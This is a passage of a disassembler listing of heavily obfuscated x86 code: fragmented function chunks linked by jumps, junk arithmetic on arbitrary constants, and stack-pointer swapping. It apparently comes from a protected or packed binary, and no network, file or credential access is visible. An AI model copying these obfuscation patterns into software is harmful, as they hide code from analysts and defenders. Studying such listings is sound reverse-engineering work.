loc_5AC757:				; CODE XREF: sub_5992DA+16481j
		jmp	loc_5ACD3D
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AC75C:				; CODE XREF: sub_5AD993+1350j
		sub	al, 58h
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		push	3CA2h
		mov	[esp-8+arg_4], edx
		push	5DBEh
		mov	[esp-4+arg_0], eax
		push	ecx
		jmp	loc_5A19DE
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------


loc_5AC77D:				; CODE XREF: sdfs____:0059E593j
		neg	eax
		push	eax
		not	dword ptr [esp]
		pop	eax
		sub	eax, 9CBFEF4Eh
		mov	ebx, eax
		pop	eax
		add	edi, 7B220964h
		sub	edi, 1CCE7C6Ch
		jmp	loc_5A35E0
; ---------------------------------------------------------------------------


loc_5AC79D:				; CODE XREF: sdfs____:005A39EBj
		pop	eax
		add	al, 0B1h
		sub	al, dh
		push	451Ah
		mov	[esp], ecx
		mov	ch, 0B1h
		add	al, 6Dh
		sub	al, ch
		jmp	loc_59E832
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AC7B5:				; CODE XREF: sub_5A79BE-53DCj
		pop	eax
		sub	eax, 295F2262h
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5AA37F
; END OF FUNCTION CHUNK	FOR sub_5A79BE

; =============== S U B	R O U T	I N E =======================================



sub_5AC7C6	proc near		; CODE XREF: sub_5AAAD5-3A41j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 59C411DBh
		or	ecx, 202D5D95h
		dec	ecx
		not	ecx
		inc	ecx
		inc	ecx
		xor	ecx, 9FC9C38h
		xor	eax, ecx
		pop	ecx
		add	ebx, eax
		jmp	loc_59B038
sub_5AC7C6	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC7EF:				; CODE XREF: sub_5AA2D1+2BEBj
		sub	[esp-18h+arg_18], edi
		pop	edi
		sub	[esp-1Ch+arg_18], 447C2E2Dh
		sub	[esp-1Ch+arg_18], ecx
		jmp	loc_5A747B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5AC803	proc near		; CODE XREF: sub_59CBE1-16Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00599211 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599D06 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00599DAB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059AB84 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059CD88 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059CF73 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059D045 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E1E4 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059EA94 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A10FD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A11BE SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A28C7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A2DAB SIZE 00000038 BYTES
; FUNCTION CHUNK AT 005A3244 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A50B4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A55D1 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A7D48 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8AD3 SIZE 00000046 BYTES
; FUNCTION CHUNK AT 005A8CAB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A8F5B SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A8FEC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AA4F7 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA5A3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AB020 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AB339 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AEB19 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AFD69 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005AFF3B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005B015D SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], edx
		push	esi
		mov	esi, 5AA79B5h
		and	esi, 10ED04B3h
		jnb	loc_5B015D
		shl	esi, 6
		jmp	loc_5A053F
sub_5AC803	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		add	edi, 50D55E8Fh
		push	esi
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_5AC82D:				; CODE XREF: sub_59DE4B+CC85j
		push	edx
		jmp	loc_5A16AC
; END OF FUNCTION CHUNK	FOR sub_59DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5AC833:				; CODE XREF: sub_5A2E28-3379j
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], esi
		push	[esp-4+arg_4]
		pop	esi
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		mov	ax, word ptr [esp-8+arg_4]
		jmp	loc_59D3FB
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B4A0


loc_5AC85F:				; CODE XREF: sub_59B4A0+8DBAj
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp-8+arg_4], edx
		push	eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59B4A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A75B9


loc_5AC875:				; CODE XREF: sub_5A75B9:loc_5A0125j
		jmp	loc_5A85EF
; END OF FUNCTION CHUNK	FOR sub_5A75B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD993


loc_5AC87A:				; CODE XREF: sub_59FB1A+FDFj
					; sub_5AD993+1E83j
		not	dh
		shr	dh, 4
		push	eax
		push	ecx
		mov	cl, 87h
		push	29FBh
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A5D6D
; END OF FUNCTION CHUNK	FOR sub_5AD993
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5AC890:				; CODE XREF: sub_599CC6+454Cj
		push	66DFh
		mov	[esp+8+var_8], ebx
		push	ecx
		push	eax
		mov	ah, dh
		mov	cl, ah
		pop	eax
		mov	bl, cl
		jmp	loc_5A235D
; END OF FUNCTION CHUNK	FOR sub_599CC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5AC8A6:				; CODE XREF: sub_5A0AA2+14FEj
		add	ecx, 1BF31396h
		xor	ecx, 8C7F60E0h
		xor	edx, ecx
		pop	ecx
		push	edx
		pop	ebp
		jmp	loc_5A2631
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5AC8BC:				; CODE XREF: sub_5A809B-EB97j
		pop	ecx
		jmp	loc_5AD44C
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A917C


loc_5AC8C2:				; CODE XREF: sub_5A917C+1569j
		and	eax, ebp
		push	dword ptr [esp+0]
		mov	ebp, [esp+4+var_4]
		jmp	loc_5AD80A
; END OF FUNCTION CHUNK	FOR sub_5A917C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5AC8CF:				; CODE XREF: sub_59A26C+F2C7j
		pop	ebp
		push	[esp-0Ch+arg_8]
		mov	esi, [esp-8+arg_4]
		add	esp, 4
		add	esp, 4
		jmp	loc_59C6C9
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC8E7:				; CODE XREF: sub_5AA2D1-4606j
		mov	[esp+4+var_4], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], eax
		push	6DBCh
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	eax
		push	esi
		mov	esi, 4
		add	eax, esi
		push	[esp+4+var_4]
		pop	esi
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		jmp	loc_5A8DAD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3B60


loc_5AC91F:				; CODE XREF: sub_5A3B60+3j
		mov	[esp+0], ecx
		jmp	loc_5A66AC
; END OF FUNCTION CHUNK	FOR sub_5A3B60
; ---------------------------------------------------------------------------


loc_5AC927:				; DATA XREF: sdfs____:00598E44o
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5AA65C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2AFE


loc_5AC932:				; CODE XREF: sub_5A2AFE+4j
		push	4D01h
		mov	[esp+4+var_4], esi
		push	esp
		pop	esi
		push	1D66h
		mov	[esp+8+var_8], ebp
		mov	ebp, 4
		push	ebx
		push	ecx
		push	44F642F5h
		pop	ecx
		jmp	loc_5AD8CC
; END OF FUNCTION CHUNK	FOR sub_5A2AFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5AC956:				; CODE XREF: sub_59A7E7+14693j
		add	esp, 2
		add	cl, dl
		pop	edx
		add	cl, bh
		sub	esp, 4
		mov	[esp+0], eax
		mov	ah, 0B6h
		push	dx
		mov	dl, 95h
		xor	ah, dl
		mov	dx, [esp+0]
		add	esp, 2
		jmp	loc_5A3874
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5AC978:				; CODE XREF: sub_5A79BE-25E0j
		push	edi
		push	[esp+8+var_4]
		jmp	loc_5AAB8C
; ---------------------------------------------------------------------------


loc_5AC982:				; CODE XREF: sub_5A79BE+1BCFj
		xor	ecx, 1B246A4Ah
		and	ecx, 51AF0B5Ch
		sub	ecx, 2B153889h
		jmp	loc_5AF71D
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5AC999:				; CODE XREF: sub_59CBE1+379j
		pop	esi
		add	edx, 4
		xchg	edx, [esp-10h+arg_C]
		jmp	loc_59CB27
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5AC9A8:				; CODE XREF: sub_5B01F7-4FCj
		mov	edi, 89D0C3D3h
		sub	ecx, edi
		pop	edi
		or	edi, ecx
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5AD9D6
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC9BD:				; CODE XREF: sub_5AA2D1-CC8Aj
		xor	al, ch
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	esp, 2
		mov	word ptr [esp+4+var_4],	cx
		mov	ch, 0C4h
		push	53BAh
		mov	[esp+8+var_8], eax
		jmp	loc_5ADF7F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6C3


loc_5AC9DE:				; CODE XREF: sub_59D6C3+9j
		mov	esi, esp
		jmp	sub_5A72CB
; END OF FUNCTION CHUNK	FOR sub_59D6C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5AC9E5:				; CODE XREF: sdfs____:005A76FCj
					; sub_5A2E41+8850j
		not	[esp+4+var_4]
		mov	esi, [esp+4+var_4]
		add	esp, 4
		xchg	esi, ebp
		jmp	loc_59E8AE
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5AC9F5:				; CODE XREF: sub_5A503A-D00j
		xor	eax, edi
		mov	edi, [esp+0]
		jmp	sub_5ACB83
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5AC9FF:				; CODE XREF: sub_5AA2D1+5447j
		add	ebx, 20B518A8h
		sub	ebx, edx
		sub	ebx, 20B518A8h
		pop	edx
		jmp	loc_5A43FE
; ---------------------------------------------------------------------------


loc_5ACA13:				; CODE XREF: sub_5AA2D1-7054j
		not	al
		jmp	loc_5AA3CD
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A81C4


loc_5ACA1A:				; CODE XREF: sdfs____:005ABE93j
					; sub_5A81C4+746Ej
		not	dword ptr [esp+0]
		mov	ebp, [esp+0]
		add	esp, 4
		shr	ebp, 1
		not	ebp
		add	ebp, 8263020Ch
		add	ecx, ebp
		pop	ebp
		jmp	loc_59CAE9
; END OF FUNCTION CHUNK	FOR sub_5A81C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5ACA35:				; CODE XREF: sub_5A118F+AADj
					; sdfs____:005A867Dj
		add	al, bl
		push	cx
		mov	cl, 9Ch
		jmp	loc_5A9EDC
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACA40:				; CODE XREF: sub_5AA2D1-1751j
		add	ecx, edx
		push	edi
		mov	edi, 3606902h
		sub	edi, 0E0F56BBh
		and	edi, 624C63DEh
		xor	edi, 374552B9h
		xor	edi, 568052BCh
		sub	ecx, edi
		pop	edi
		mov	edx, [esp-20h+arg_1C]
		add	esp, 4
		jmp	loc_599649
; ---------------------------------------------------------------------------


loc_5ACA71:				; CODE XREF: sub_5AA2D1-443Aj
		pop	edx
		jmp	loc_5AAFE0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5ACA77:				; CODE XREF: sub_5992DA+39CCj
					; sub_59A479:loc_5A4817j
		pop	eax
		jmp	loc_5AA8B4
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ACA7D:				; CODE XREF: sub_5992DA+33EAj
		mov	[esp+30h+var_32+2], ebx
		jmp	loc_59A0AC
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5ACA85:				; CODE XREF: sub_5A2E28+450Bj
		sub	ebp, 0A020FFCh
		add	ecx, ebp
		pop	ebp
		jmp	sub_599360
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACA93:				; CODE XREF: sub_5AA2D1+40D0j
		xor	al, 51h
		sub	al, 0BDh
		and	al, 0ECh
		jmp	loc_5A835F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A96D8


loc_5ACA9E:				; CODE XREF: sub_5A96D8-100C3j
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp+4+var_4]
		pop	esp
		movzx	eax, al
		jmp	loc_59C7DC
; END OF FUNCTION CHUNK	FOR sub_5A96D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5ACAB3:				; CODE XREF: sub_59C979+D078j
		jmp	loc_5AA99F
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A317A


loc_5ACAB8:				; CODE XREF: sub_5A317A+BB53j
		add	esp, 4
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		imul	cl
		movzx	cx, ah
		push	small 7F2h
		mov	word ptr [esp-6+arg_0+2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A317A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACAE1:				; CODE XREF: sub_5AA2D1-1F34j
		mov	edi, esp
		push	ecx
		mov	ecx, 52474DD6h
		not	ecx
		sub	ecx, 0FFFFFFFFh
		xor	ecx, 0ADB8B22Eh
		add	edi, ecx
		pop	ecx
		add	edi, 4
		xchg	edi, [esp-12h+arg_C+2]
		jmp	loc_59AC13
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5ACB08:				; CODE XREF: sub_5B01F7-F1BFj
		jg	loc_5AB5FC
		shl	ecx, 6
		add	ecx, 0BE830E84h
		push	ecx
		add	[esp+18h+var_18], 12BF40ADh
		pop	eax
		sub	eax, 12BF40ADh
		pop	ecx
		jmp	sub_5AF2DF
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5B27


loc_5ACB2B:				; CODE XREF: sdfs____:0059A3FFj
					; sub_5A5B27+594Aj
		mov	[esp-4+arg_0], esi
		push	[esp-4+arg_4]
		mov	esi, [esp+0]
		push	15Bh
		mov	[esp+4+var_4], ebx
		push	esp
		pop	ebx
		push	edi
		mov	edi, 2FC5229Eh
		shr	edi, 6
		shr	edi, 1
		add	edi, 0FFA075BFh
		jmp	loc_5A1336
; END OF FUNCTION CHUNK	FOR sub_5A5B27
; ---------------------------------------------------------------------------


loc_5ACB55:				; CODE XREF: sdfs____:005A03D4j
		mov	eax, esp
		push	ecx
		mov	ecx, 12D772F6h
		xor	ecx, 70270853h
		jmp	loc_5A6778
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACB68:				; CODE XREF: sub_5AA2D1-726Ej
		push	534Fh
		mov	[esp+4+var_4], ecx
		mov	ecx, 0
		add	ecx, ebx
		mov	[ecx], al
		pop	ecx
		push	dword ptr [esp+0]
		pop	ebx
		jmp	sub_59C1E9
; END OF FUNCTION CHUNK	FOR sub_5AA2D1

; =============== S U B	R O U T	I N E =======================================



sub_5ACB83	proc near		; CODE XREF: sub_5AA2D1-62D0j
					; sub_5A503A+79C0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059C0F1 SIZE 0000000C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59C0F1
sub_5ACB83	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACB96:				; CODE XREF: sub_5AA2D1+1260j
		mov	edi, 0B86661h
		sub	eax, edi
		pop	edi
		add	eax, 405F21C7h
		pop	ebp
		sub	esp, 4
		mov	[esp-10h+arg_C], ebx
		push	0D42h
		jmp	loc_5A2A94
; ---------------------------------------------------------------------------


loc_5ACBB7:				; CODE XREF: sub_5AA2D1+41ADj
		dec	ch
		push	ax
		mov	ah, ch
		not	ah
		mov	ch, ah
		pop	ax
		sub	esp, 2
		mov	word ptr [esp-8+arg_4],	bx
		jmp	loc_5A58CF
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		push	53947h
		mov	eax, [esp]
		push	81Eh
		mov	[esp], eax
		push	70E4h
		jmp	loc_5ADBFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A479


loc_5ACBE9:				; CODE XREF: sub_59A479+131CAj
		pop	[esp+8+var_8]
		push	edi
		mov	edi, 4
		jmp	loc_5AE944
; END OF FUNCTION CHUNK	FOR sub_59A479
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A489F


loc_5ACBF7:				; CODE XREF: sub_5A489F+3DD1j
		add	esi, 4
		jmp	sub_5AE7B8
; END OF FUNCTION CHUNK	FOR sub_5A489F
; ---------------------------------------------------------------------------


loc_5ACBFF:				; CODE XREF: sdfs____:005AF353j
		neg	edi
		jmp	loc_5B0165
; ---------------------------------------------------------------------------


loc_5ACC06:				; CODE XREF: sdfs____:0059C10Bj
		push	eax
		mov	al, 85h
		sub	al, 47h
		sub	al, 0CEh
		and	bh, al
		pop	eax
		add	bh, 0DAh
		jb	loc_5A9659
		sub	bh, 4Fh
		jmp	loc_59DE95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2065


loc_5ACC21:				; CODE XREF: sub_5A2065+2701j
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		push	26Eh
		mov	[esp-8+arg_4], ebx
		sub	esp, 4
		mov	[esp-4+arg_0], eax
		push	ebx
		mov	bh, 6Fh
		jmp	sub_5A9CF2
; END OF FUNCTION CHUNK	FOR sub_5A2065
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACC40:				; CODE XREF: sub_5AA2D1-3161j
		add	eax, 3EFB5073h
		jmp	loc_5A7322
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ACC4A:				; CODE XREF: sub_5992DA+176Dj
		shr	edx, 6
		sub	edx, 5CF9548Ch
		jb	loc_5AF568
		dec	edx
		jle	loc_5A4B3F
		jmp	sub_5A5735
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DB


loc_5ACC65:				; CODE XREF: sub_5AB3DB-2DA7j
		jmp	loc_5A3D4A
; END OF FUNCTION CHUNK	FOR sub_5AB3DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5ACC6A:				; CODE XREF: sub_5A118F+8D20j
		push	eax
		mov	ah, 0BCh
		add	ah, 0FFh
		jmp	loc_5ADE28
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACC75:				; CODE XREF: sub_5AA2D1-59F5j
		pop	esp
		push	edx
		not	dword ptr [esp+0]
		pop	edx
		shr	edx, 2
		sub	edx, 2C2328E0h
		jmp	loc_59953D
; ---------------------------------------------------------------------------


loc_5ACC89:				; CODE XREF: sub_5AA2D1+5E39j
		neg	edx
		js	loc_5A3B7F
		jmp	loc_59D0C7
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
		xor	edx, 68703542h
		mov	ah, 0D3h
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_59D37E


loc_5ACC9F:				; CODE XREF: sub_59D37E+FD5j
		mov	ch, dl
		pop	edx
		shr	ch, 2
		dec	ch
		push	edx
		jmp	loc_5A07B3
; END OF FUNCTION CHUNK	FOR sub_59D37E
; ---------------------------------------------------------------------------


loc_5ACCAD:				; CODE XREF: sdfs____:005A3717j
		mov	ch, al
		jmp	loc_5AE1A2
; ---------------------------------------------------------------------------


loc_5ACCB4:				; CODE XREF: sdfs____:005A1751j
		add	esi, 0F032ADFh
		jmp	loc_59FD5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ACCBF:				; CODE XREF: sub_5AA2D1-C941j
					; sub_5992DA+A235j
		pop	esp
		mov	[esp+1Ah+var_1C+2], edi
		jmp	loc_5A6A0B
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5ACCC8:				; CODE XREF: sub_59EE3E+3EC3j
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A0499
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B0266


loc_5ACCD6:				; CODE XREF: sub_5B0266-A9B7j
		pop	edx
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		or	[esp-4+arg_0], eax
		pushf
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5B0266
; ---------------------------------------------------------------------------


loc_5ACCEC:				; CODE XREF: sdfs____:005AB033j
		pop	esi
		push	ecx
		mov	ecx, 6EDF5392h
		sub	ecx, 1341350Eh
		shl	ecx, 5
		jmp	loc_5AC06B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAE5E


loc_5ACD01:				; CODE XREF: sub_5AAE5E+55F8j
		jz	loc_5A501B
		xor	ecx, 4BCCCF90h
		mov	eax, ecx
		pop	ecx
		and	ebx, eax
		push	dword ptr [esp+0]
		pop	eax
		jmp	sub_5A169C
; END OF FUNCTION CHUNK	FOR sub_5AAE5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB762


loc_5ACD1B:				; CODE XREF: sub_5AB762-57E3j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_5AB5C6
; END OF FUNCTION CHUNK	FOR sub_5AB762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2166


loc_5ACD30:				; CODE XREF: sub_5A2166+1j
		push	[esp+arg_0]
		pop	ebp
		pop	dword ptr [esp+0]
		jmp	loc_59A803
; END OF FUNCTION CHUNK	FOR sub_5A2166
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5ACD3D:				; CODE XREF: sub_5992DA:loc_5AC757j
		push	4050h
		mov	[esp-4+arg_0], esi
		mov	esi, 0C2978D91h
		xor	edx, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_5AF2ED
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA5F6


loc_5ACD5A:				; CODE XREF: sub_5AA5F6+7j
		push	cx
		mov	cl, 0D2h
		add	al, cl
		pop	cx
		pop	ebx
		jmp	loc_59F0C7
; END OF FUNCTION CHUNK	FOR sub_5AA5F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A405F


loc_5ACD68:				; CODE XREF: sub_5A405F+AFFDj
		xor	edx, [esp+8+var_8]
		xor	[esp+8+var_8], edx
		jmp	loc_5AE783
; END OF FUNCTION CHUNK	FOR sub_5A405F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5ACD73:				; CODE XREF: sub_59F4D2-1317j
		pop	ebp
		push	esi
		mov	esi, 0D3284065h
		add	ecx, 3DDC0C4Bh
		sub	ecx, esi
		sub	ecx, 3DDC0C4Bh
		jmp	loc_5A6810
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------


loc_5ACD8D:				; CODE XREF: sdfs____:005AD152j
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_5997E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABB65


loc_5ACDBA:				; CODE XREF: sub_5ABB65-C62Aj
		mov	edx, 2
		push	ecx
		mov	ecx, 71DE7EECh
		sub	ebx, ecx
		pop	ecx
		add	ebx, edx
		push	ebp
		mov	ebp, 1A97F9Bh
		neg	ebp
		sub	esp, 4
		jmp	loc_5A566C
; END OF FUNCTION CHUNK	FOR sub_5ABB65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5ACDDA:				; CODE XREF: sub_5A6BBC-59A8j
		mov	ebp, 16EB1234h
		sub	ebp, 0BCA5A701h
		sub	edi, ebp
		pop	ebp
		pop	edx
		push	eax
		mov	eax, 2F8A7BFBh
		or	eax, 780C5498h
		sub	eax, 7F8E7FF9h
		sub	edi, eax
		jmp	loc_5A8317
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5ACE00:				; CODE XREF: sub_599739+54j
					; sub_5AA2D1:loc_59F533j
		sub	di, 9218h
		sub	bp, di
		pop	edi
		add	bp, si
		add	bp, 6E29h
		pop	esi
		xor	bp, 35F8h
		jb	loc_5B0233
		xor	bp, 0FC7h
		jno	loc_5A1427
		push	ax
		jmp	loc_5AEA81
